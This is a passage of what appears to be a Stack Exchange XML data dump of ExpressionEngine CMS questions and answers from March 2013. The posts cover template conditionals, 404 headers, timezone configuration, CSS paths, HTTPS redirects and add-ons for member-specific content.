in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works pretty good but we are in the middle of a major re-design and I am wondering if this is the &quot;best&quot; way to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts? Would you do it the same way or would you have an easier method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the downfalls to doing it this way is that you have to have content editors worried about entering the specific embed code. Also, they have to look up the category ID which can be annoying if they are looking to set something up quick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2013-04-09T11:07:08.027" Title="Editor ability to attach &quot;events&quot; to a page" Tags="|categories|embeds|workflow|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7193" PostTypeId="2" ParentId="7189" CreationDate="2013-03-09T18:13:40.610" Score="1" Body="&lt;p&gt;{asset_id} as a variable isn't currently parsing, which is a known bug - but you're trying it as a parameter.  I don't actually see it listed in our &lt;a href=&quot;http://pixelandtonic.com/assets/docs/templates#assets%3afiles&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;.  I'd be happy to add it to our list for consideration as a future addition though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, it looks like to get your single file data you'd need to use the Property and Metadata search from the above-linked page (toward the bottom).&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-09T18:13:40.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7194" PostTypeId="2" ParentId="7192" CreationDate="2013-03-09T19:03:36.920" Score="0" Body="&lt;p&gt;I never ask my clients to enter embed code. as the events are channel entries, you can have them selected easily with something like playa, or &lt;a href=&quot;http://devot-ee.com/add-ons/nsm-entry-select&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/nsm-entry-select&lt;/a&gt;. and for the categories, i guess you could use something like &lt;a href=&quot;http://devot-ee.com/add-ons/jp-category-select&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/jp-category-select&lt;/a&gt;. &#xA;Than, you can have a template that says:&#xA;{exp:channel:entries bla bla bla}&#xA;{embed=&quot;_inc/myembed&quot; theentry=='{my_entry_field_name}' thecategory='{my_categories}'}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the embed itself would be something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel='events' entry_id=='{embed:theentry}' category=='{embed:thecategory}'}&#xA;bla {title}&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2013-03-09T19:03:36.920" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7195" PostTypeId="2" ParentId="7188" CreationDate="2013-03-09T19:42:42.103" Score="1" Body="&lt;p&gt;I saw this on another site that used a different CMS, it turned out to be an issue with magic_quotes on the server - we disabled magic-quotes and TinyMCE worked fine after that.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-09T19:42:42.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7196" PostTypeId="1" CreationDate="2013-03-09T20:04:15.870" Score="6" ViewCount="446" Body="&lt;p&gt;I've been using expression engine for 5 years now, but I am new to this forum, so hi everyone!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is a way to use the dropbox chooser and/or google drive features inside the publish page of expression engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had looked into devot-ee, but so far theres nothing for google, and for dropbox there is an addon but only to display dropbox files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will be really useful. I am needing this functionality currently for a site I am building.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know, if someone have a hint or have heard of something in this regard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Manuel&lt;/p&gt;&#xA;" OwnerUserId="1155" LastEditorUserId="19" LastEditDate="2013-03-10T18:03:09.857" LastActivityDate="2013-08-06T14:02:17.400" Title="Is there a way to add dropbox chooser or google drive picker into the publish page?" Tags="|add-on|fieldtype|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7197" PostTypeId="1" CreationDate="2013-03-10T01:38:08.590" Score="2" ViewCount="502" Body="&lt;p&gt;I migrated the site over to a new server and a new domain. Now I'm getting a blank page on the Modules page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I disable each one individually until I identify the culprit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried enabled error reporting but I get nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I'm on EE 1.6&lt;/p&gt;&#xA;" OwnerUserId="1156" LastEditorUserId="150" LastEditDate="2013-03-10T04:50:19.720" LastActivityDate="2013-03-11T00:47:35.020" Title="How do I disable modules / add-ons manually?" Tags="|module|ee1|blank-screen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7198" PostTypeId="1" CreationDate="2013-03-10T03:07:53.547" Score="1" ViewCount="398" Body="&lt;p&gt;I have a separate navigation that I want displayed on all pages that are not the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought something link this would work but not quite:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1}&#xA;{if:else}&#xA;&amp;lt;nav class=&quot;main-nav&quot;&amp;gt;&#xA;&amp;lt;a class=&quot;active&quot; href=&quot;/&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;allergies.html&quot;&amp;gt;Allergies&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;about.html&quot;&amp;gt;About&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;services.html&quot;&amp;gt;Services&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;locations.html&quot;&amp;gt;Locations&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;contact.html&quot;&amp;gt;Contact&amp;lt;/a&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-03-10T04:40:06.753" Title="If Page is not home page" Tags="|ifelse|" AnswerCount="2" CommentCount="0" ClosedDate="2013-03-12T22:41:00.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="7199" PostTypeId="2" ParentId="7198" CreationDate="2013-03-10T03:17:59.833" Score="1" Body="&lt;p&gt;This works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1}&#xA;&amp;lt;nav class=&quot;main-nav&quot;&amp;gt;&#xA;&amp;lt;a class=&quot;nav-one&quot; href=&quot;{path='site_index'}&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&#xA;&amp;lt;a class=&quot;nav-two&quot; href=&quot;{path='allergies'}&quot;&amp;gt;Allergies&amp;lt;/a&amp;gt;&#xA;&amp;lt;a class=&quot;nav-three&quot; href=&quot;{path='about'}&quot;&amp;gt;About&amp;lt;/a&amp;gt;&#xA;&amp;lt;a class=&quot;nav-four&quot; href=&quot;{path='services'}&quot;&amp;gt;Services&amp;lt;/a&amp;gt;&#xA;&amp;lt;a class=&quot;nav-five&quot; href=&quot;{path='locations'}&quot;&amp;gt;Locations&amp;lt;/a&amp;gt;&#xA;&amp;lt;a class=&quot;nav-six&quot; href=&quot;{path='contact'}&quot;&amp;gt;Contact&amp;lt;/a&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;&#xA;{if:else}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-03-10T03:17:59.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7200" PostTypeId="2" ParentId="7198" CreationDate="2013-03-10T04:13:25.380" Score="1" Body="&lt;p&gt;Testing against a specific value seems to work more consistently in EE. So you could test if segment_1 is not empty: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 != &quot;&quot;}&#xA;    Not the home page&#xA;{if:else} &#xA;    The home page&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or test that segment_1 is empty&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;&quot;}&#xA;    The home page&#xA;{if:else} &#xA;    Not the home page&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="975" LastEditorUserId="975" LastEditDate="2013-03-10T04:40:06.753" LastActivityDate="2013-03-10T04:40:06.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7201" PostTypeId="2" ParentId="7151" CreationDate="2013-03-10T07:23:12.903" Score="1" Body="&lt;p&gt;Consider &lt;a href=&quot;http://devot-ee.com/add-ons/protected-links&quot; rel=&quot;nofollow&quot;&gt;Protected Links&lt;/a&gt; add-on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can protect both files to download and images on page.&#xA;For images, you will need to use 'inline' parameter.&#xA;It is also advicable to place actual files/images above web root, like Rob Suggested.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-03-10T07:23:12.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7202" PostTypeId="2" ParentId="1984" CreationDate="2013-03-10T10:39:01.900" Score="2" Body="&lt;p&gt;I have some pretty extensive experience with this issue as we run a live TV broadcast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick answer to you question is to use &lt;code&gt;$config['allow_member_localization'] = &quot;n&quot;;&lt;/code&gt; in your config.php. This prevents any per user localization despite what is stored in exp_members AND subsequently what shows up in the member's profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you set this there's three ways I have confirmed to set the default localization:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Under &lt;strong&gt;Members -&gt; View All -&gt; (select a member) -&gt; Member Preferences&lt;/strong&gt; you'll see &quot;Use this member's localization settings as the master site default?&quot; which if checked will set the default localization to the same as that user's. The thought behind this is that a &quot;Super Admin&quot; would keep their DST/TZ settings up to date I assume.&lt;/li&gt;&#xA;&lt;li&gt;Under &lt;strong&gt;Admin -&gt; Localization&lt;/strong&gt;. This sets the two configurations variables I will mention in the next bullet in the database but it is &lt;strong&gt;PER SITE&lt;/strong&gt; so you'd need to set it for each site.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;I HIGHLY RECOMMEND&lt;/strong&gt; using a site-wide &lt;strong&gt;config.php&lt;/strong&gt; to set these two values. &lt;code&gt;$config['default_site_dst'] = (date(&quot;I&quot;)) ? &quot;y&quot; : &quot;n&quot;;&lt;/code&gt; and &lt;code&gt;$config['default_site_timezone'] = &quot;UM6&quot;;&lt;/code&gt; Where UM6 is your timezone in EE's weird TZ formatting. Just be sure your server (and php) timezone is set properly (run &quot;date&quot; in the terminal to check).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are also two other configuration values which I've seen floating around which I tend to ignore:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;$config['honor_entry_dst']&lt;/code&gt; doesn't exist anymore as of some EE version before mine (which is 2.4.0).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;$config['daylight_savings']&lt;/code&gt; this seems like the end all be all of settings but don't be fooled. My understanding of this variable based on scouring the source code is if you haven't used any of the prior methods to set the DST this is your default. I have NOT tested this as I end up just setting &lt;code&gt;$config['daylight_savings'] = (date(&quot;I&quot;)) ? &quot;y&quot; : &quot;n&quot;;&lt;/code&gt; as well anyways.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd like to make one final note before signing off. I've always had to re-save entries made in a prior DST settings to get them back to the correct time. This is because the only data that is stored in exp_channel_data is the timezone not the DST setting which is rather unfortunate.&lt;/p&gt;&#xA;" OwnerUserId="565" LastEditorUserId="565" LastEditDate="2013-03-10T11:09:52.507" LastActivityDate="2013-03-10T11:09:52.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7203" PostTypeId="1" CreationDate="2013-03-10T10:41:30.097" Score="3" ViewCount="356" Body="&lt;p&gt;I have to set strict urls to no, because I am using a dynamic segment_1 with category_urls.&#xA;So I have to use the default 404 error template. The 404 errors work but the pages return a 503 header and not a 404 header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried inlcuding a custom 404.php instead of the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;log_item(&quot;404 Page Returned&quot;);&#xA;$this-&amp;gt;EE-&amp;gt;output-&amp;gt;set_status_header(404);&#xA;echo '&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;404 Page Not Found&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Status: 404 Page Not Found&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it’s still a 503. Am I missing a setting? What can I do to make it actually 404?&#xA;I am on EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Philip&lt;/p&gt;&#xA;" OwnerUserId="1157" LastActivityDate="2013-03-10T12:26:10.537" Title="404 default template returning 503 header" Tags="|404|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7204" PostTypeId="2" ParentId="7192" CreationDate="2013-03-10T10:51:44.403" Score="3" Body="&lt;p&gt;Another option that I have used in the past is with Playa:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create as many channels as you need modules (text, events, video, 1 big image, image gallery, etc.) and enter content&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a &quot;page&quot; channel with a playa field linking to your modules channels. Use conditionals / ifelse / switchee to test on the channel_short_name and display module fields:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;simplified code in your &quot;page&quot; template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children status=&quot;open&quot;}&#xA;    {if channel_short_name == &quot;mod_events&quot;}&#xA;        ... display code and custom fields for event module ...&#xA;    {/if}&#xA;    {if channel_short_name == &quot;mod_text&quot;}&#xA;        ... display code and custom fields for text module ...&#xA;    {/if}&#xA;    {if channel_short_name == &quot;mod_video&quot;}&#xA;        ... display code and custom fields for video module ...&#xA;    {/if}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Users can now compose their page by creating modules / combining them / ordering them. It's a very flexible system if you need to enable your users to create rich pages. With only a small set of modules, you give them a lot of possible variations and no room for errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibilties are endless.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-03-10T10:51:44.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7205" PostTypeId="1" CreationDate="2013-03-10T11:01:16.977" Score="1" ViewCount="3034" Body="&lt;p&gt;When i use EE's internal CSS template, the css works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i have decided to take the css and javascripts out of ee templates and keep them in their own separate folders at the root of EE installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my structure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;root&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;assets&#xA;&lt;ul&gt;&#xA;&lt;li&gt;scripts&lt;/li&gt;&#xA;&lt;li&gt;styles&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;images&lt;/li&gt;&#xA;&lt;li&gt;system&lt;/li&gt;&#xA;&lt;li&gt;themes&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is the code in my index.html header area&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;(1st Try)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{path='assets/styles/style.css'}&quot; media=&quot;all&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{path='assets/styles/color.css'}&quot; media=&quot;all&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;(2nd Try)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{site_url}assets/styles/inner.css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{site_url}assets/styles/flexslider.css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#selector{ background:url({site_url}images/front/top-pattern.png);}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Note:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The css files are loaded correctly in HTML but the images are not loaded.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked with firbug and it says &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Failed to load the given URL&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The issue is with the image path inside the css files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant figure out what am i missing ?&lt;/p&gt;&#xA;" OwnerUserId="406" LastEditorUserId="406" LastEditDate="2013-03-10T18:23:46.117" LastActivityDate="2014-06-21T02:38:34.003" Title="How to link Extensal CSS files and link external image paths in css files?" Tags="|javascript|css|links|image-path|" AnswerCount="3" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7206" PostTypeId="2" ParentId="92" CreationDate="2013-03-10T11:21:46.637" Score="1" Body="&lt;p&gt;I'd like to cross reference the answer I posted here &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1984/forcing-dst-settings-for-users/7202#7202&quot;&gt;Forcing DST settings for users&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even once you nail down the users's localization you might still end up with times that are an hour +/- if you are creating an entry with a date field that end up in a different DST state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is EE has no record of what the DST state was when the entry was saved. This is fine if all you are concerned with is dates that exist in the past but you will have to re-save entries during the new DST state for dates that occur in the future because they'll be +/- 3600 seconds off.&lt;/p&gt;&#xA;" OwnerUserId="565" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-03-10T11:27:01.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7207" PostTypeId="2" ParentId="7205" CreationDate="2013-03-10T11:44:16.963" Score="3" Body="&lt;p&gt;EE won't parse tags that are stored outside of templates unless you do some trickery to send them back into the parser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep them in templates if you need the tags parsed. Though I should note that the parsing abilities for CSS and Javascript templates seem limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you are at it be sure to look into a minimizing module, this doesn't solve your problem but they are useful for speeding up your site and combining css/js files. I use Automin, there's another called Minimee.&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-03-10T11:44:16.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7208" PostTypeId="2" ParentId="6865" CreationDate="2013-03-10T11:56:52.580" Score="2" Body="&lt;p&gt;Sometimes the way folks code to determine whether HTTPs is on or not is not according to the PHP docs which is maybe what you are running into. I've &lt;a href=&quot;https://github.com/eedfwChris/mo_variables/commit/bae1142ff3b30f8bd216c67c5f1c8bb135c6736e&quot; rel=&quot;nofollow&quot;&gt;fixed this HTTPS issue with Mo_variables&lt;/a&gt; which is why I am mildly seasoned with knowledge about it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative solution is one I use that involves using two plugins by rsanchez.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/rsanchez/mo_variables&quot; rel=&quot;nofollow&quot;&gt;Mo_variables&lt;/a&gt; (be sure to update as I made a pull request adding some variables)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/rsanchez/http_header&quot; rel=&quot;nofollow&quot;&gt;Http_header&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With those two installed you can then do the following at the top of you template (you can do the opposite too on nonsecure templates):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if not_secure}{exp:http_header location=&quot;{secure_site_url}{uri_string}&quot; status=&quot;301&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-03-10T11:56:52.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7209" PostTypeId="2" ParentId="6977" CreationDate="2013-03-10T12:05:10.957" Score="0" Body="&lt;p&gt;What you could do kurt is use an addon like &lt;a href=&quot;http://mightybigrobot.com/products/detail/profile-edit&quot; rel=&quot;nofollow&quot;&gt;Profile:edit&lt;/a&gt; or &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; and restrict member access to the channel you create which would hold member fields type data.&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-03-10T12:05:10.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7210" PostTypeId="2" ParentId="7203" CreationDate="2013-03-10T12:26:10.537" Score="2" Body="&lt;p&gt;Try setting the 404 status using &lt;a href=&quot;https://github.com/rsanchez/http_header&quot; rel=&quot;nofollow&quot;&gt;HTTP Header&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put following tag in your 404 template:&#xA;&lt;code&gt;{exp:http_header status=&quot;404&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-03-10T12:26:10.537" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7211" PostTypeId="2" ParentId="6978" CreationDate="2013-03-10T12:27:12.153" Score="1" Body="&lt;p&gt;You could do this super inefficiently without reorder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically call &lt;code&gt;{exp:playa:parents}&lt;/code&gt; twice, &lt;code&gt;fixed_order=&quot;&quot;&lt;/code&gt; once for your ordered set, then &lt;code&gt;entry_id=&quot;&quot;&lt;/code&gt; once for the rest WITHOUT the ordered set. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;{exp:playa:parents&#xA;    channel='products'&#xA;    var_prefix='parent'&#xA;    fixed_order='{deal_text_product_order}'&#xA;}&#xA;    &amp;lt;li&amp;gt;{parent:title}&amp;lt;/li&amp;gt;&#xA;{/exp:playa:parents}&#xA;&#xA;{exp:playa:parents&#xA;    channel='products'&#xA;    var_prefix='parent'&#xA;    entry_id='not {deal_text_product_order}'&#xA;}&#xA;    &amp;lt;li&amp;gt;{parent:title}&amp;lt;/li&amp;gt;&#xA;{/exp:playa:parents}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="565" LastEditorUserId="565" LastEditDate="2013-03-10T12:33:22.623" LastActivityDate="2013-03-10T12:33:22.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7212" PostTypeId="2" ParentId="7205" CreationDate="2013-03-10T12:55:43.143" Score="2" Body="&lt;p&gt;I'd avoid anything based on {site_url} and opt for relative paths instead. With what you've supplied, simply placing an &quot;/&quot; instead of {site_url} would suffice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said I would also avoid placing css in a template and do it the old fashioned way to stop this errant behaviour which also gives the added benefit of making solving any css issue, that much easier because you've removed it from ee control.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-03-10T12:55:43.143" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7215" PostTypeId="2" ParentId="7095" CreationDate="2013-03-10T15:10:30.503" Score="1" Body="&lt;p&gt;I'm afraid you'll need to build a custom add-on to do this, since you're trying to update more than one channel entry with a single Safecracker submission. (In a single submission you can only create/update a single channel entry's fields - so you could change the related entry that your main entry points to, but not the fields of that related entry itself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built &lt;a href=&quot;https://github.com/thisisjamessmith/Bankcracker&quot; rel=&quot;nofollow&quot;&gt;Bankcracker&lt;/a&gt; to do this for adding new entries, but it currently doesn't handle edits to existing data. However, it might point you in the right direction for creating something yourself. (The key would be to use the safecracker_submit_entry_end extension hook).&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-10T15:10:30.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7216" PostTypeId="1" CreationDate="2013-03-10T18:08:39.720" Score="1" ViewCount="94" Body="&lt;p&gt;I'm looking to give members the ability to buy photography specific to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is a way in Cartthrob for me to display certain products to certain members via playa field containing a member? OR (this might be even better) drop files in a P&amp;amp;T Assets directory and assign that directory to a specific Member? The photos (product) will always be the same price across the board. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I'm kind of looking to do both (for 2 different projects) - One with the ability for specific members to buy specific photos and another where specific members can see specific products only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jon&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-03-10T21:55:27.707" Title="Allow certain members to view certain products in Cartthrob" Tags="|ee2|assets|playa|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7217" PostTypeId="2" ParentId="7138" CreationDate="2013-03-10T18:25:54.250" Score="0" Body="&lt;p&gt;Sounds like a bug that needs to be reported to EllisLab. You can &lt;a href=&quot;https://support.ellislab.com/bugs&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;report bugs on the EllisLab website&lt;/strong&gt;&lt;/a&gt;... need to login first.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-10T18:25:54.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7218" PostTypeId="2" ParentId="7216" CreationDate="2013-03-10T19:29:47.127" Score="1" Body="&lt;p&gt;You can easily assign entries to a specific member by making them the author of the entry then using the author_id parameter in your channel entries tag. Alternatively you can use a plugin such as &lt;a href=&quot;http://devot-ee.com/add-ons/vz-members&quot; rel=&quot;nofollow&quot;&gt;VZ Member&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/vmg-chosen-member&quot; rel=&quot;nofollow&quot;&gt;VMG Chosen Member&lt;/a&gt; to select either a single or multiple members that you could then use a conditional in your template to show only entires which they have been selected. Or there is another add-on called &lt;a href=&quot;http://devot-ee.com/add-ons/entry-access&quot; rel=&quot;nofollow&quot;&gt;Entry Access&lt;/a&gt; that allows you to grant access on a per entry basis. One of the nice things about Entry access is that you can preselect members or member groups that you want to have access to all entries by default (handy for admins to see the entries)&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-03-10T21:55:27.707" LastActivityDate="2013-03-10T21:55:27.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7219" PostTypeId="2" ParentId="7216" CreationDate="2013-03-10T19:37:55.803" Score="0" Body="&lt;p&gt;You don't mention whether you're using an addon that stores member profiles as channel entries, but with &lt;a href=&quot;http://mightybigrobot.com/products/detail/profile-edit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; and Playa it's relatively trivial to display products related to (presumably?) the currently logged in member. If you tick the box to have Profile:Edit store its data as global variables you can use {profile:entry_id} as the value for any Playa or channel:entries tag parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, setting the member as the author of the entry as Justin suggests would also be a good approach if you only require one member per product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Assets approach may be possible but could be a bit limiting in future - probably best to keep everything as channel entries (the products themselves can still use file/assets fields ).&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-10T19:37:55.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
